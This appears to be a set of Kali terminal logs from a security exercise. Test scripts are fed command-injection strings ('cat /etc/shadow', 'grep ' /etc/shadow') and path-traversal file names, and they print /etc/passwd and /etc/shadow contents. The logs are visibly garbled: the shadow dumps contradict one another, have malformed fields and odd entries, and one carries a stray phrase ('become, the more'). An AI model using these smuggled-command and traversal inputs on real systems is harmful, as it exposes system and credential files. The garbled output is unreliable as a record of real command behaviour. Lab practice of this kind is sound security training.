

```
(root@kali)-[~]
# ./exercise-2.py "grep ' ' /etc/passwd"
Sending file: /root/grep ' ' /etc/passwd
good
cat: /root/grep: No such file or directory
cat: ' ': No such file or directory
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:107:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:109:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:110:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:111:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:112:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:113:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:114:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/u
sr/sbin/nologin
_galera:x:116:65534::/nonexistent:/usr/sbin/nologin
mysql:x:117:120:MariaDB Server,,,:/nonexistent:/bin/false
```

```
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Sending file: /root/cat /etc/passwd
good
cat: /root/cat: No such file or directory
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:107:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:109:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:110:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:111:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:112:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:113:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:114:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
```

```
(root@kali)-[~]  
# ./exercise-2.py "grep ' /etc/shadow"
```

Sending file: /root/grep ' /etc/shadow

good

cat: /root/grep: No such file or directory

cat: ': No such file or directory

root\*:19691:0:99999:7:::

daemon\*:19691:0:99999:7:::

bin\*:19691:0:99999:7:::

sys\*:19691:0:99999:7:::

sync\*:19691:0:99999:7:::

games\*:19691:0:99999:7:::

man\*:19691:0:99999:7:::

lp\*:19691:0:99999:7:::

mail\*:19691:0:99999:7:::

news\*:19691:0:99999:7:::

uucp\*:19691:0:99999:7:::

proxy\*:19691:0:99999:7:::

www-data\*:19691:0:99999:7:::

backup\*:19691:0:99999:7:::

list\*:19691:0:99999:7:::

irc\*:19691:0:99999:7:::

\_apt\*:19691:0:99999:7:::

nobody\*:19691:0:99999:7:::

systemd-network:!:19691:0:99999:7:::

systemd-timesync:!:19691:0:99999:7:::

messagebus:!:19691:0:99999:7:::

tss:!:19691:0:99999:7:::

strongswan:!:19691:0:99999:7:::

tcpdump:!:19691:0:99999:7:::

usbmux:!:19691:0:99999:7:::

sshd:!:19691:0:99999:7:::

dnsmasq:!:19691:0:99999:7:::

avahi:!:19691:0:99999:7:::

speech-dispatcher:!:19691:0:99999:7:::

pulse:!:19691:0:99999:7:::

lightdm:!:19691:0:99999:7:::

saned:!:19691:0:99999:7:::

polkitd:!:19691:0:99999:7:::

rtkit:!:19691:0:99999:7:::

colord:!:19691:0:99999:7:::

nm-openvpn:!:19691:0:99999:7:::

nm-openconnect:!:19691:0:99999:7:::



```
(root@kali)-[~]  
# ./exercise-2.py "cat /etc/shadow"  
Sending file: /root/cat /etc/shadow  
good  
cat: /root/cat: No such file or directory  
root:*:19691:0:99999:7:::  
daemon:*:19691:0:99999:7:::  
bin:*:19691:0:99999:7:::  
sys:*:19691:0:99999:7:::  
sync:*:19691:0:99999:7:::  
games:*:19691:0:99999:7:::  
man:*:19691:0:99999:7:::  
lp:*:19691:0:99999:7:::  
mail:*:19691:0:99999:7:::  
news:*:19691:0:99999:7:::  
uucp:*:19691:0:99999:7:::  
proxy:*:19691:0:99999:7:::  
www-data:*:19691:0:99999:7:::  
backup:*:19691:0:99999:7:::  
list:*:19691:0:99999:7:::  
irc:*:19691:0:99999:7:::  
_apt:*:19691:0:99999:7:::  
nobody:*:19691:0:99999:7:::  
systemd-network:!:19691:~::~:  
systemd-timesync:!:19691:~::~:  
messagebus:!:19691:~::~:  
tss:!:19691:~::~:  
strongswan:!:19691:~::~:  
tcpdump:!:19691:~::~:  
usbmux:!:19691:~::~:  
sshd:!:19691:~::~:  
dnsmasq:!:19691:~::~:  
avahi:!:19691:~::~:  
speech-dispatcher:!:19691:~::~:  
pulse:!:19691:~::~:  
lightdm:!:19691:~::~:  
sane:!:19691:~::~:  
polkitd:!:19691:~::~:  
rtkit:!:19691:~::~:  
colord:!:19691:~::~:  
nm-openvpn:!:19691:~::~:  
nm-openconnect:!:19691:~::~:  
galaxy:!:19691:~::~:
```

```

root@kali)~[~]
# ./exercise.py "/.\\.\\.\\.\\.\\.\\.etc/passwd"
Sending file: /root/.\\.\\.\\.\\.\\.\\.etc/passwd
good
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:107:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:109:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:110:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:111:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:112:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:113:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:114:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
_galera:x:116:65534::/nonexistent:/usr/sbin/nologin
mysql:x:117:120:MariaDB Server,,,:/nonexistent:/bin/false
stunnel4:x:990:990:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
_rpc:x:118:65534::/run/rpcbind:/usr/sbin/nologin

```

```
(root@kali)-[~]
# ./exercise.py "/.\./.\./.\./etc/shadow"
Sending file: /root/.\.\/.\./.\./etc/shadow
good
root:*:19691:0:99999:7:::
daemon:*:19691:0:99999:7:::
bin:*:19691:0:99999:7:::
sys:*:19691:0:99999:7:::
sync:*:19691:0:99999:7:::
games:*:19691:0:99999:7:::
man:*:19691:0:99999:7:::
lp:*:19691:0:99999:7:::
mail:*:19691:0:99999:7:::
news:*:19691:0:99999:7:::
uucp:*:19691:0:99999:7:::
proxy:*:19691:0:99999:7:::
www-data:*:19691:0:99999:7:::
backup:*:19691:0:99999:7:::
list:*:19691:0:99999:7:::
irc:*:19691:0:99999:7:::
_apt:*:19691:0:99999:7:::
nobody:*:19691:0:99999:7:::
systemd-network:!*:19691:::::
systemd-timesync:!*:19691:::::
messagebus!:19691:::::
tss!:19691:::::
strongswan!:19691:::::
tcpdump!:19691:::::
usbmux!:19691:::::
sshd!:19691:::::
dnsmasq!:19691:::::
avahi!:19691:::::
speech-dispatcher!:19691::::: become, the more
pulse!:19691:::::
lightdm!:19691:::::
saned!:19691:::::
polkitd!*:19691:::::
rtkit!:19691:::::
colord!:19691:::::
nm-openvpn!:19691:::::
nm-openconnect!:19691:::::
_galera!:19691:::::
mysql!:19691:::::
stunnel4!*:19691:::::
_rpc!:19691:::::
geoclue!:19691:::::
Debian-snmpp!:19691:::::
sslh!:19691:::::
ntpsec!:19691:::::
redsocks!:19691:::::
```